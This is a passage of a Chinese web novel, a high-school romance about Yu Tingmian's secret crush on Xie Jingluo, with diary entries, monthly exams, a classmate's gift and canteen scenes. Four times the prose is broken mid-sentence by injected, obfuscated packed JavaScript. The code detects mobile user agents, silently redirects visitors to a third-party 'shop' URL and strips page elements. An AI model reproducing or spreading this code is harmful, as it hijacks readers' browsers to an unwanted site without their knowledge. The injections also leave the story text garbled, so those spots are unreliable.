最初的话题被轻描淡写地掀过,于听眠继续若无其事笑笑嘻嘻同苏然聊天打闹,只是眼角余光总是时不时撇向窗外,可惜等到结束了也没能看到谢惊洛出来。 她倏然想起,好像去年也是这几天,也是在这个城市,她第一次遇见了谢惊洛。 2013年10月1日 天气:多云 今天总算是和苏苏见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080833|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面了,玩得挺开心的,火锅也好吃,一切都在按计划(其实根本没计划)进行,唯独某个环节出了点小意外——为什么谢惊洛也在南城呢? 而且在我看他的时候他忽然就转身了,吓死我了!我还庆幸我脑袋低得快,结果人家只是忘了拿包…… 虽然除了我自己没人知道发生了什么,但还是觉得怪丢人的…… 嗯…… 真奇怪,想找他的时候找不到,没想过撞见就偏偏能撞见,这是什么乱七八糟的定律? 真是百思不得其解。 苏苏问我怎么一副天塌了的样子,其实也没想好怎么和她说,偷偷喜欢人家,又做不出告白的事,告诉她她大概就要恨铁不成钢骂我一顿了。 连她怎么骂我我都想好了。 所以还是算了。 就当这是我一个人的秘密吧。 于听眠合上日记本,拿起用小礼盒包装好的玉簪敲响了老太太的房门。 “眠眠?”老太太开门见是于听眠,有些疑惑:“这么晚了怎么还没睡呢?找我什么事呢?” 其实现在也不过是九点多钟,还有差不多半个小时才到十点,只是老人家困得早睡得也早,认为九点多钟已经是很晚了。 于听眠没说她天天十一点十二点才睡,说了大抵要挨骂,她笑了笑,没回答老人家前面的问题,将藏在身后的小礼盒掏了出来。 “奶奶你看,这是我今天在街上看到的,觉得你戴着好看就买回来送你。” 于听眠将小礼盒递过去,老太太没想到于听眠是来给自己送礼物的,她惊讶接过,小心翼翼地打开礼盒,拿起里头的玉簪满是惊喜的瞧了又瞧。 “你这孩子,给我买这个做什么?我一个老人家头发都白了戴着又不好看。”老太太嘴上这么说着,却是对玉簪爱不释手。 “怎么会呢?”于听眠笑着哄她:“你怎么样都好看,戴上这簪子更甚。” 老太太笑骂她:“少来哄我。” “哪有。”于听眠摊了摊手,“是不是哄你带上看看不就知道了?” 说着,她就拉着老太太来到梳妆镜前坐下,给人挽起头发戴上了玉簪。 玉簪多是衬得人知书达理温柔似水的,于听眠透过银镜看着如今早已朱颜辞镜的老人,她的面上是盈盈笑意。 恍惚间,于听眠觉得时间在某一刻回到了多年前那个朦胧的清晨,奶奶也是这样带着温柔的笑意,灵巧的手指一动,就在她头上施了魔法。 “眠眠?眠眠?” 于听眠回过神:“嗯?” “想什么呢?这么入神,叫了你好几声了。” 于听眠眼珠子滴溜溜转了一圈,小嘴抹了蜜道:“当然是觉得您太好看了,看入神了,这不,没反应过来。” 老太太伸手刮了一下她的鼻尖:“就你嘴甜。” 她抬手将玉簪摘下,华发散落至身后,笑对于听眠道:“我很喜欢眠眠给我准备的这份礼物,所以我要把它珍藏起来,时间也不早了,该回去睡觉了啊。” “知道啦。” 老太太翻找盒子要将玉簪放起来,于听眠则是被赶回去睡觉。 于听眠走前帮老人家带上门,在门即将合上的瞬间,她透过门缝处看见了老人家在灯光下端详着这根做工还算精致的玉簪,耳边隐约听见了一声轻叹,还有一句喃喃的自语。 “终究是老了。” 23. 礼物 于新鹤和付向晓只有三天假期。 三日是极短的,不等于听眠回味过来就到了返程的日子。 回云城的前一晚,老太太将于听眠拉到了自己的房间。 她拉开抽屉摸索了一阵,在于听眠不解的目光下摸出了一枚折成三角过了塑封的黄符纸,塑封的其中一角被钻了孔,系上了一根红绳。 于听眠疑惑:“这是?” “是平安符。”老太太将符纸轻柔地放入于听眠手中,“云山上新建了座庙,那庙行人络绎不绝,香火绵延,我也得空去赶了个热闹,求了个吉利。” “听那庙里的和尚说,这符开过光,赠与家中孩童可佑其平安长大,健康顺遂,乐乐走前我已经给过他一枚了。”她目光里满是慈爱,笑道:“话是说得夸张了些,但也总归是个好寓意,你要是方便,也就随身带着,图个好兆头。” 于听眠失笑:“奶奶,就我还孩童呢?像爸爸说的,明年就成年了。” “什么话?”老太太伸手摸了摸于听眠的发顶,其实于听眠比她高了不少,在抬手间动作还有些吃力。 “成年又怎么了?在奶奶这儿,不一样是个孩子?” 最终于听眠将符纸放在了书包夹层。 即便是有万般不舍,也到了分别之时。 于听眠站在车前朝老人家挥手:“奶奶再见,我过年再回来看你——” 老太太笑着应好。 于新鹤担心她的身体站久了不好,让她不用送了回屋里歇着。 她摇头说:“没事,我看着你们走。” 于听眠钻进车内拉上了门,轿车缓缓启动,向前开出一段距离。 她回过头,透过车窗望去,看到了偌大的房子和立在门前安静目送他们离开的老人。 车没开远,隐约间还能看到对方脸上淡下来的笑意。 于听眠忽然觉得很难过。 国庆假日转瞬即逝,云城一中高二年级即将迎来第一次月考。 “啊啊啊啊啊——”开考前惯例的收拾书本时间,唐思雨趴在桌子上鬼哭狼嚎。 于听眠一边整理桌上的书籍一边抽空理理她:“怎么了?” “好烦啊。”唐思雨从桌面上起身,靠着椅背双手抱胸,嘴唇撅得老高,瞅着自己桌上的书本是满脸的不耐烦,“为什么每次考试都要收拾书本清空桌面啊?像开学考那样多好!这么多东西搬走找地方放考完又要搬回来真的很烦!” 与开学考不同,月考算是正规考试,必须清空桌面桌肚以及座位周围的书籍,以至于考前搬书已经成了一项大家心照不宜喜闻乐见的考前活动。 虽然没人喜欢参加就是了。 于听眠不走心的安慰她:“好啦,如果还不收拾的话,等会儿没位置放了会更烦哦。” 唐思雨:“……” 谢谢你,现在就更烦了。 唐思雨又是一声哀嚎,不过这次嚎完倒是乖乖收拾起了东西。 于听眠动作比唐思雨快一点,她扫视了教室一圈,发现讲台前、教室后边、还有周围的边边角角都早已堆满了书籍。 其中不乏是昨晚就占好位置的。 于听眠稍作思考,决定不再去侵占寥寥无几供人行走的空间,打算把书放在教室外边。 “那我先去放东西了?”她对唐思雨道。 “行。”唐思雨埋头与那堆凌乱的书本做斗争,头也不抬回她:“帮我也占一个呗。” “好。” 走廊外边堆放的书籍并没有比教室里边的少到哪去,但胜在地方足够宽敞,剩下的位置绰绰有余。 于听眠寻了个空地把书放下,再拿起自己那摞书最上边的一本放在旁边,算是给唐思雨也占了个位。 她给唐思雨占的是自己左边的位置,右边还有一个空位,不知会被哪位有缘人占领。 胡思乱想完,她拍了拍手上的灰,撑着膝盖站起身,正要进教室,就感到肩膀被人轻轻拍了一下。 “嗨~” 拍肩膀的人在和自己打招呼,声音还有些耳熟。 于听眠转头,发现来人是个意想不到的人——方楚悦。 这是自运动会过后第二次见到她,这回方楚悦换回了云城一中特供的宽大蓝白校服,乌黑柔顺的及腰长发被束成马尾荡在脑后,比起第一次见面少了一份优雅精致,却又多了一份明媚亲和。 “哎?是你?” 于听眠有些诧讶。 “对,是我。”方楚悦眯起眼睛笑了笑,指了指隔壁的班级道:“我是隔壁二班的,刚刚在门口看见你还以为我看错了呢。” 说着,她带着点神秘的意味靠近了于听眠,悄声说道:“能不能请你帮我个忙?” “嗯?”于听眠不明白她的请求,不理解和她仅仅几面之缘的自己有什么事是能帮她的。 她没有立刻答应,反问道:“是什么事呢?” 紧接着,她就看见方楚悦一直背在身后的一只手伸了出来,手里提着一个巴掌大小,包装得很是精致的小礼盒,礼盒系带上还别着一张贺卡,对折着,依稀能看见里头的手写字体。 这是一份精心准备好的礼物。 “……” 在看见礼盒的刹那于听眠就大概明白了什么,她微怔,脑子里有片刻的空白,以及一瞬间的无措。 “可以帮我把这个交个谢惊洛吗?” “你……喜欢谢惊洛?”于听眠沉言半晌,在方楚悦将要发出疑问时,她找回了自己的声音。 她没有答应对方,却问了个看起来挺明显的问题。 “啊?”方楚悦没料道于听眠会问这个问题,她愣了一下,随即笑着大大方方承认道:“是啊,像谢惊洛这样优秀的人,很难会不喜欢的吧。” “……” “也是啊……”于听眠扯了扯唇角,也露出个笑容,尽量让自己的神情不要表现出异常。 她回答了对方前一个问题:“不好意思啊,我可能不能帮你这个忙了。” 不等方楚悦问为什么,她语速飞快地说道:“这是你亲手准备的心意,我想,总该是自己亲自送到他手上比较好的,你说是吧?” 她也只是众多暗恋者中的一个,她不能阻止,也没有立场阻止别人给谢惊洛送礼物,但她也有那么一点点的私心,即使阻止不了,也至少别人的心意不要由她交到他的手上。 她做不到,一点儿也做不到。 于听眠某一刻觉得,自己卑劣极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084899|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 方楚悦不疑有他,她认真思索了一番于听眠的话,觉得所言甚是有理:“说的也是,那我明白了,我会自己找机会交给他的,谢谢你啊,改天有空请你喝奶茶。” “……好。” 于听眠放松了绷着的表情,魂不守舍地回到位置上,唐思雨一眼就瞧见了她失魂落魄的模样。 唐思雨:“?” 怎么这人出去放个书回来怨气比自己还重,跟中了邪一样。 “怎么了?”唐思雨决定给她驱驱邪。 “没什么……”于听眠下巴搁在桌面上,耷拉着眼皮,“我讨厌考试。” 唐思雨:“……” 这邪开挂了,她驱不了,这玩意儿到现在都还是她的心魔。 唐思雨换了种方式鼓励她:“你现在才讨厌吗?那你还是很强大的,有这心态你做什么都会成功的!加油!” 于听眠:“……?” 完了,孩子被逼疯了。 被这么一打岔,于听眠心里头的郁结感散去了不少,她摇了摇头把脑子里乱糟糟的事情都甩开,打算先什么都不想,专心考完月考再说。 她清理干净座位上的东西准备前往自己的考场,出教室前她看了一眼谢惊洛的座位,人不久前被老梁喊了去,直到现在都还没回来。 他的东西好像还没收拾。 于听眠咬了咬唇,脑海中莫名出现了一个奇怪的想法。 要不要……帮他收拾一下? ……!!! 等等等等等等! 于听眠双眸不由自主地睁大,被自己离谱的想法惊到。 天啊。 于听眠你真是胆子肥了,你都敢想着去帮人家收拾东西了,你和人家很熟吗?经过人家同意了吗你就去?你礼貌吗? 一个黑色的小人在一边的脑子里骂她。 可是他还没回来,现在还不收拾等会儿会不会很着急啊?已经有其他班的人来考试了。 一个白色的小人在另一边的脑子里劝她。 不是姐们,要帮也轮不到你帮吧?万一人家不喜欢别人碰他的东西,那不就弄巧成拙了? 黑色小人继续骂她。 …… 白色小人不说话了。 因为于听眠看到秦长宇收拾完自己的东西后,走到了谢惊洛的位置前开始帮他收拾。 好吧。 被黑色小人说中了,确实轮不到她去收拾。 于听眠摸了摸鼻子,尽管没人知道她的想法但她依旧有些心虚,只能庆幸还好刚才动作没那么快,不然现在就丢大脸了。 不过也没关系,本来想帮他收拾东西的初衷也是担心他回来没时间收拾,这样也挺好的。 于听眠舒了口气,转身向楼梯口走去。 根据上次月考的排名,于听眠往上爬了两层。 她找到了座位坐下,等到监考老师发卷。 指腹摩挲着粗糙的卷面,于听眠浏览着卷面上的题目,目光格外平静。 她想,她大概是没有方楚悦那种大大方方承认喜欢他的勇气了,但她还是抱有那么一点小小的私心。 想要离他再近一些。 无论哪方面都可以。 24. 演都不演了 结束了一天的考试,于听眠拖着灵魂出窍疲惫不堪的身体爬上五楼回到了教室。 同样灵魂出窍的还有唐思雨。 唐思雨察觉动静,瘫在桌面上瞟了她一眼,有力无气道:“回来了?” 于听眠也一起瘫着:“回了,但没完全回。” 唐思雨没懂:“嗯?” 于听眠解释:“灵魂还在外面飞。” “……”唐思雨无语极了,动了动嘴皮子骂她:“神经。” 于听眠笑笑不说话。 有一类人,他们身上有种特质,每次考试前都斗志昂扬,有种今天就要干掉榜一的磅礴气势,结果也是每次考到一半又有种随便了爱怎么样就怎么样反正我累了的颓废感。 于听眠和唐思雨就是这类人,她俩现在又颓又废。 如果说开学考的那段时间大家都不是很熟悉,还能充满活力地鼓励对方再接再厉,没轻易地表露出这种特质,那现在可以说是演都不演了。 唐思雨:“不想考了。” 于听眠:“嗯。” 唐思雨:“考试真的很烦。” 于听眠:“嗯。” 唐思雨:“考完一天累死了。” 于听眠:“嗯。” 唐思雨:“能不能换个词?” 于听眠:“哦。” 唐思雨被她气到没忍住拧了一下她的腰。 拧到痒痒肉了,于听眠笑了个半死。 不想考什么的说说就好了,打闹过后还是得乖乖去挑选明天要考的科目带回家复习。 于听眠在自己的书堆前蹲下,开始翻找需要的资料。 她书堆右边的空位被有缘人放了书籍,导致她现在的书被有缘人的书和唐思雨的书左右夹击,间隙很小,很不好翻找。 手在空中徘徊了半天,于听眠决定把有缘人的书稍稍往旁边挪一点,等她找到书了再挪回去。 为什么不挪唐思雨的?有缘人旁边是空的,唐思雨那边过去一排全是书,挪不动一点。 她正要对书堆下手,倏然瞧见书堆最上方的书是一本森林木屋封面的童话书。 啊? 有缘人是谢惊洛? 于听眠惊讶之余,一股小小的窃喜感缓缓涌上心头。她知道这大概是秦长宇帮忙放的,唐思雨旁边就是秦长宇的书,估计是那边没位置了才放自己旁边。 但不管,四舍五入就是他本人放的。 于听眠心安理得地虚构了这个现实。 考了一天试的颓废感骤然一扫而空,于听眠心情愉悦地翻到自己需要的书,而后小心翼翼把谢惊洛的书挪回原位,哼着歌儿回了教室。 “你出去吸阳气了?” 唐思雨没看懂她怎么出去一趟回来就变得阳光开朗了。 于听眠口吻高深莫测:“孩子,有些事,你总归是不明白的。” 说罢,还叹息摇头,一副智者无需多言的模样。 唐思雨:“?” 那她确实挺不明白的。 唐思雨并未多想,毕竟她已经接受了眼前这个初见温柔恬静的女孩到现在时不时要抽个象的事实了。 权当她又开始了。 于听眠整理好资料塞进书包:“那我先回家咯。” “行,拜拜,明天见。” “明天见。” 于听眠前脚刚走,后脚秦长宇就勾着谢惊洛的肩有说有笑地踏进了教室。 唐思雨见着人,没好气叉腰:“秦长宇你搞什么这么晚才回来?人家眠眠都回去了你还没开始收拾,下次再慢点你就自己回去别叫我等你。” “马上马上!”秦长宇手臂一呲溜从谢惊洛肩上滑下来,窜回座位上开始收拾,边收拾边解释:“这不是老梁喊我们去讲关于奥数竞赛的事嘛,下次一定早点……洛哥,你那沓资料借我用用呗?” 谢惊洛也在整理自己的东西,头也不抬:“自己拿。” “你放哪儿去了?” “外边,和你们放一起了。” 秦长宇想到这个就想骂人:“你回来得可真是时候,就踩在我帮你收拾好的点回来搬出去,你怎么不等我给你搬好了再回来?” 闻言,谢惊洛轻笑道:“是个不错的提议,那下次我当个事办。” 秦长宇骂他:“滚,比我还不要脸。” 唐思雨啧啧摇头:“真看不惯你们这群会数学的。” 2013年10月9日 天气:阴 谢惊洛的书和我放在一起了哎! 有点开心。 好吧,虽然应该是秦长宇帮他放的,想到这个又有点失落。 …… 其实很羡慕方楚悦。 她身上总有一种让人无法忽视的自信开朗,喜欢一个人对她来说是一件很正常的事,所以她能够堂堂正正地承认自己喜欢谢惊洛。 但我不行。 我大概知道我在害怕什么。 我在害怕一旦表现出来会连朋友……不对,应该不算朋友,会连普通同学都没得做。假设是我知道有人喜欢我(纯属假设非自恋),为了不让对方误会,我也是会选择避嫌的吧。 本来就不是很熟,不想变得更陌生了…… 所以要求不能那么多,只要能稍微靠近他一点点就可以了,好比如成绩的排名。 可一想到某天他也会收下某个女孩子的礼物,成为对方的伴侣,和对方共度余生…… 想想就觉得好扎心…… 但能和谢惊洛走到一起的,肯定也是个很优秀的女孩,这样想想好像也行……吧? 不行。 还是好难过呜呜呜。 啧,怎么回事?这也不行那也不行的。 我真是烦人。 两天的考试很快结束,云城一中的改卷速度始终如一的快,考完试第二天成绩就被贴在了公示栏。 一下课外边就毫不意外地围满了人,于听眠不着急去看,反正早晚都会知道的,不急这一时。 于听眠淡定,唐思雨可闲不住,下课铃一响跑在最前头的就有她一个。 见人去都去了,干脆物尽其用。 于是于听眠朝她喊了一声:“帮我也看一下——” 成功收获了唐思雨一个情深意切的“滚”字。 滚就滚吧。 于听眠笑笑。 没一会儿,唐思雨功成身退。 “我去,挤死我了!要不要这么疯狂?”唐思雨将手上的便签丢在于听眠桌上,“接旨吧。” 于听眠配合她演:“谢主隆恩——” 哄完了人,于听眠研究起自己的成绩排名。 班级排名19,年级排名198。 进步了不少,总体看起来还是不错的,势头良好。 可于听眠却不太满意。 语文这次也是稳定维持在140分以上,没什么好分析的,她的关注点在数学上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089359|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 比起开学考,这次数学卷的难度有一定的提高,倘若不是于听眠恶补了一个月的数学,加上英语理综这次考得也还行,别说进步了,没倒退都算谢天谢地了。 饶是如此她也觉得考得费力,所以第一天考完整个人半死不活的。 她恨数学。 出成绩的当天下午年级领导就组织了个表彰大会。 先是表扬了一番位列年级前茅的同学。 年纪第一还是谢惊洛,方楚悦紧随其后,后面的排名都多多少少有些变动,于听眠没记住多少个人,但每念一个人的名字就要鼓掌一次,她倒是觉得手鼓疼了。 惯例的表扬结束后,年级主任宣布了一件让全场哀鸿遍野的事: “从下星期起,年级将实行晚自习制度,每个学生都必须留下来上晚自习。” “啊——” 台上说得轻巧,台下听取“啊”声一片,声音震耳欲聋,于听眠抬手捂了捂耳朵。 “你们不要‘啊’来‘啊’去的,你们要知道你们现在已经是高二了,不要觉得自己还有大把时间,高二是最关键的一年,承上启下,更应该抓紧时间,把更多的时间花在学习上……” 台上的领导舌战群儒,台下的于听眠在混乱中听到了一句情绪饱满的反驳: “你去年也是说高一是最关键的一年,台词都不带改的。” “噗——” 于听眠真忍不住。 虽然说这个制度执行得猝不及防,但于听眠内心倒也没太抗拒,更多的是在思考下午吃饭的问题。 下午放学到上晚自习中间隔了一段一个多小时的空余时间,倒是够她回家吃个饭再回来上自习。但问题是家里没人能在这个点准备好晚饭,要是她自己做饭时间完全来不及。 思来想去,她决定在学校弄张饭卡,晚饭就在学校里面解决。 同样选择在学校里解决晚饭的还有唐思雨。 唐思雨抱着于听眠,脸埋在对方怀里,觉得人生也就那样了:“眠眠啊……” “嗯?” 唐思雨生无可恋:“以后我们就要过上一下课就冲饭堂抢饭的日子了,听我一个住宿的朋友说,想吃好吃一点的菜要跑快点,晚了就剩那些没人想吃的菜了。” “没关系。”于听眠安慰她,“相信我们,饿不死的。” “……啧!”唐思雨磨牙想咬她一口:“谁问你会不会饿死了,能不能说点实在的?” “实在的?”于听眠无奈摊手,“实在的就是咱们班在五楼,怎么跑也跑不过那些一楼二楼的,宝贝儿。” 唐思雨:“……” “按时下课跑到食堂估计都排长龙了,你看平时下课堵在楼梯口的那个架势。”于听眠继续给她分析,“要是有老师再稍微地拖个堂……” “行了。”唐思雨抬手打断她,“分析得很好,下次不要再分析了。” 于听眠耸耸肩:“噢。” 唐思雨顿觉人生无望:“那我们以后每天就要吃剩饭剩菜了吗?” “也不是。” 于听眠抬眼看了一下黑板顶端的课程表:“星期四下午最后一节是体育课,体育老师一般会让我们提早几分钟下课,这个时候可以直接跑去饭堂抢前排。” 说完,于听眠歪头想了想,补充了一句:“实在不行就饿一会儿,饿久了吃什么都是人间美味。” 唐思雨:“……” 也有道理。 25. 离自由就差了一步 2013年10月11日 天气:阴 出成绩的速度依旧是那么快。 怎么说呢……是进步了,但不是很满意。 尤其是数学,这次难度明显变大了,如果不是这次英语和理综发挥还可以,估计排名不但不会进步,可能还会比开学考退一些。 幸好幸好,还好这一个月都在恶补数学,不然哭都没地方哭。 以后还是要花多点时间在数学上啊。 对了,从明天开始就要上晚自习了,我和思雨都办了张饭卡,听说学校的饭菜很难吃,思雨已经生无可恋了。 不知能难吃到什么程度,有点……好奇?(这样说思雨会打我吗?) 反正是没有抱能跑过一楼二楼的希望了,非要说的话,可能也就体育课还有点希望。 算了没事,反正饿不死我就行,我什么都能啃一口。 …… 应该饿不死的吧? 连续吃了几天食堂,于听眠总体感觉还好,觉得好像也没有想象中的那么难吃,目前处于一个能接受的范围。当然也可能是因为新鲜感还在,吃多两天就不一定了。 而唐思雨则是喊了几天的难吃,通常是吃了几口垫垫肚子就吃不下去了,然后一脸惊恐且佩服地看着于听眠把碗里的饭吃完,再拉着她一起去校内小超市买零食。 这几日去校内小超市的次数明显增多。 去都去了,于听眠也买了包薯片当饭后零食。 才回到教室坐下没一会儿,唐思雨就在走廊上喊她出去看夕阳。 “眠眠——快出来,今天的落日好好看!” “来了。” 今日的落日确实不错。 太阳已然落下,红与橙交融在一起的余晖强势地染透了半边天,灿烂辉煌绚丽无比。可当于听眠伸手穿过阴影,置于余晖下,光落在她的手上,又是别样的温柔。 落日在与这一天做最后的告别,她轻轻蜷起手掌,抓住繁星来临之前的最后一丝余韵。 她和唐思雨倚着栏杆谈天说地,分食着一包分量不多的薯片,看着余晖最终被黑夜吞没,彻底告别了今日,只在地平线上留了一点残红。 唐思雨趴着栏杆看向远方,喃喃道:“以前怎么没发现这里的落日那么好看?” 一阵晚风拂过,鼓起了于听眠的衣角,也将她的声音吹得破碎缥缈。 “是啊,为什么那么好看呢……” “好吧。”唐思雨妥协般叹了口气,“看到这个,我暂时原谅食堂的饭菜那么难吃吧,上晚自习好像也没那么糟糕。” “没事。”于听眠笑道:“明天就是星期四了,下体育课我陪你冲饭堂。” “哦!对哦!”唐思雨猛然记起,激动地双手一合掌,发出了不小的声音:“你不说我都忘了,那好,明天我要穿跑得最快的那双运动鞋!” 于听眠:“?” 倒也不必这么隆重。 最后一点残红终于散去,两人的聊天也同时结束,一起回了教室。 离上晚自习还有一点时间,于听眠从桌肚里抽出了画本,打算将今日的落日留在画里。 可当她提笔回想起方才的余晖,美艳不可方物,却总是差了点韵味。 受高楼之困,她目之所及处还是太过狭隘,落日是美,但少了触手可及的震撼。 她想要一个没有天花板遮挡的、更为开阔自由的视野。 她想到了一个地方——从这里的楼梯上去,就是天台。 唐思雨看着原本很安静的人“刷”地一下起身,不带犹豫地往教室外走,愣了两秒,反应过来后喊她:“你去哪里?要上晚自习了——” “去厕所——” 于听眠倒也没骗她,确实是去了一趟厕所,只不过回来的路上拐了个弯上了楼梯。 可惜结果并非如她所想。 通往天台的铁门紧闭着,门把上挂了一把紧扣着的U型锁。 于听眠:“……” 真是讨厌。 能不能暴力拆锁啊? 一个邪恶的想法在心里成型,她打算—— 什么也不干。 开玩笑,拆锁什么的在心里想想就好了,真拆了被发现怕不是要被通报批评,她还不想以这种方式在学校出名。 而且拆锁也是需要技术的,很明显她并没有掌握这项技能。 遂只能作罢。 见于听眠满脸失望回归,唐思雨不免关心:“怎么了?去那么久,你掉厕所里了?” “不。”于听眠缓缓摇头,“比这个还要令人难过。” “嗯?”察觉事情的严重性,唐思雨掏了把瓜子正襟危坐:“你说。” 于听眠:“我离自由就差了一步,可我们之间已经隔了一层可悲的厚障壁了。” 唐思雨:“……?” 好不容易等来了星期四,于听眠特意多看了眼唐思雨今天穿的鞋子。这女人说到做到,真的换了双平时不常穿的。 于听眠服了她了。 倒数第二节课下课,两人开始收拾东西准备前往操场。 于听眠并不喜欢上体育课,她不活跃,体力不行,对运动也没有兴趣,比起自由活动,她更喜欢带上个小本子,上面写着英语单词或是数学物理公式,去到那边统一做完热身运动跑完两圈解散后,找个偏僻的小角落坐下背背单词或公式。 这次解散得晚,供人落座的长椅被人占满,于听眠退而求其次,找了个阴凉的大树底坐下。 她刚翻开手中的本子没多久,一道人影就立在了她身旁,她抬头看去。 “你怎么也来了?” 唐思雨倒是喜欢上体育课,她的体力比于听眠好不到哪里去,但是喜欢看热闹,自己不上场,看着同学打打球,和朋友聊聊天什么的也能快乐度过一节课。 所以于听眠挺意外这次她会找过来,还一副要与自己同流合污的模样。 唐思雨表情不可捉摸:“厌了江湖纷争。” 于听眠恍然大悟:“所以退隐江湖?” 唐思雨满眼欣赏:“小友懂我。” 说完,她自己就先演不下去了,挨着于听眠坐下:“哎呀,今天又累又困的,不是很想去玩,刚好体育课有时间,找个地方歇歇,不然晚自习可能都没精力上了。” “这么累?昨晚没休息好吗?”于听眠边说着边给她腾了点位置。 唐思雨歪头靠在她肩膀上,闻言,对着发小一顿输出:“都怪秦长宇,昨晚阿姨又要没收他漫画,他往我这里藏,走之前还挑了一本出来,说这本好看让我也看看,我就睡前打开看了一眼,然后……然后就那样了,总之都是他的错。” 听完,于听眠笑笑,不对这俩的恩怨发表评价,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096043|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们之间有一套自己的相处准则。 不过她倒是想问一件这两天都注意到的事:“秦长宇和谢惊洛似乎没来上体育课?没看见他俩人,而且好像前两天也是最后一节课不在?” “哦,这个啊。”歪着脖子有些不舒服,唐思雨动了动调整姿势,“他们俩要参加奥数竞赛,这些天的最后一节课都要去奥数班上课。” “……你这样靠着是不是不太舒服?”于听眠忽然问道。 “嗯?”话题跳转得太快,唐思雨没反应过来。 “是有点,脖子酸酸的。” “那你躺我腿上吧。”于听眠伸直了腿,拍了拍她让人从自己肩膀上起来。 “啊?”情况有点突然,唐思雨表情错愕,“这样你腿不会酸吗?” 于听眠摇头:“没事,你躺吧,你靠在我的肩上有点痒,而且躺着你也舒服些。” 唐思雨确实拒绝不了躺着的诱惑,她小心翼翼地调整了姿势躺在她腿上:“那我躺咯,你腿酸了和我说。” “行,要下课了我喊你。” 见人拉过校服外套蒙上头睡了过去,于听眠放松了绷紧的肩膀。 说来也怪,枕她腿觉得没什么,但偏偏肩膀才靠了一小会儿就酥麻得不行。 十月早已入秋,秋风吹起树叶沙沙作响,投在地上的的影子摇摆不定,落在身上的光点随之晃动,静谧和煦。 于听眠放下手中的本子,倚靠着树干,眼神有些懒洋洋地看着操场中央的人来人往喧嚣熙攘。 可惜里面没有她想看的人。 “奥数竞赛啊……” 她呢喃着。 “真是难以理解的东西。” 离下课还有五分钟,于听眠轻轻摇醒了腿上的人。 “唔哼——”唐思雨哼唧了一声,诈尸式坐起,遮光的校服从脸上滑落。 “哔——” 一声吹哨把她吹清醒了。 睡了一会儿精神了不少,她“蹭”地一下站起来,反手拉起于听眠:“走,准备冲刺——” 于听眠:“……” 托唐思雨的福,虽然一路狂奔到食堂大门的于听眠两眼发黑,但好在两人都在不同的窗口打到了心仪的传说级菜品。 “你打了什么?” 唐思雨兴冲冲地问。 “香菇滑鸡,你呢?” “红烧肉,这类菜品每个窗口只有几盘,难怪都要靠抢呢,我已经吃腻了番茄炒蛋了,不知道这两个味道怎么样,等会儿我们换着吃?” “好呀。” 于听眠四下扫视:“先找个位置坐下吧。” 住宿生赶时间洗澡,多是打了饭带回宿舍吃,在食堂内部就餐的反而没什么人。 “唐思雨——于听眠——” 嗯? 两人寻找心仪座位的脚步顿住,对视一眼,面面相觑。 食堂太过嘈杂,于听眠不确定是不是自己听错了:“好像听到有人在喊我们?” 唐思雨点头:“我好像也听到了。” “来这里坐——” 这下确定了,确实是有人喊她们。 唐思雨比她先一步寻到人,手肘撞了撞她,示意她看:“看到了,在那边。” 于听眠顺着看过去。 谢惊洛和秦长宇坐在一个不显眼的小角落,秦长宇正朝着她们挥手。 26. 娃娃机 于听眠在谢惊洛对面坐下时,整个人都是懵的。 这是一张四人座的长方形小桌,谢惊洛和秦长宇坐在一边,唐思雨拉着于听眠过来后,就自然而然地在秦长宇对面落坐。 如此一来,于听眠就被分在了谢惊洛对面的位置。 于听眠:“……” 她被唐思雨带着僵硬地走过去,慢慢地、端正地将餐盘放在桌上,正襟危坐,目光将桌面上的四个餐盘轮流扫了一遍,唯独不敢正眼看对面的人。 唐思雨没想到他们也这个点出现在饭堂,好奇问道:“你们怎么也来这么早?平时这个时间点奥数班不是才下课吗?今天都打上饭了。” “不知道啊。”秦长宇不甚在意,“今天老师忽然说有急事要提早走,看着时间离下课也没几分钟了,就提早放我们出来吃饭了,具体有什么事我也不知道,算了不说这个了,你们打了什么菜?” 唐思雨:“我的是红烧肉,眠眠要了香菇滑鸡,你们呢?” 